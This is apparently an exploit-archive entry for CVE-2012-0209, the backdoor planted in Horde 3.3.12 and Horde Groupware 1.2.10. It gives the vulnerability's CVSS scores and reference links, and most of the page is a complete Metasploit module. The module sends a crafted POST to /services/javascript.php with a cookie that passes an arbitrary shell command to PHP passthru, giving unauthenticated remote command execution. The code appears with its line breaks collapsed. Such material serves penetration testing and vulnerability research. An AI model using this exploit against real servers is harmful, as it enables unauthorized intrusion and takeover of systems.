Horde 3.3.12 Backdoor Arbitrary PHP Code Execution

2012.02.17
Credit: Eric Romang
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution', 'Description' => %q{ This module exploits an arbitrary PHP code execution vulnerability introduced as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10. }, 'Author' => [ 'Eric Romang', # first public PoC 'jduck' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0209'], [ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ], [ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ] ], 'Privileged' => false, 'Payload' => { 'BadChars' => "\x0a\x0d", 'DisableNops' => true, 'Space' => 4096, 'Compat' => { 'PayloadType' => 'cmd', } }, 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'DefaultTarget' => 0, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Feb 13 2012' )) register_options( [ OptString.new('URI', [true, "Path to Horde installation", "/horde"]), OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]), ], self.class) end def exploit # Make sure the URI begins with a slash uri = datastore['URI'] if uri[0,1] != '/' uri = '/' + uri end # Make sure the URI ends without a slash, because it's already part of the URI if uri[-1, 1] == '/' uri = uri[0, uri.length-1] end function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ 'uri' => uri + "/services/javascript.php", 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", 'headers' => { 'Cookie' => "href="+function+":"+arguments, 'Connection' => 'Close', } }) #default timeout, we don't care about the response if (res) print_status("The server returned: #{res.code} #{res.message}") end resp = res.body.split(key) if resp and resp[1] print_status(resp[1]) else print_error("No response found") end handler end end

References:

http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155
http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/


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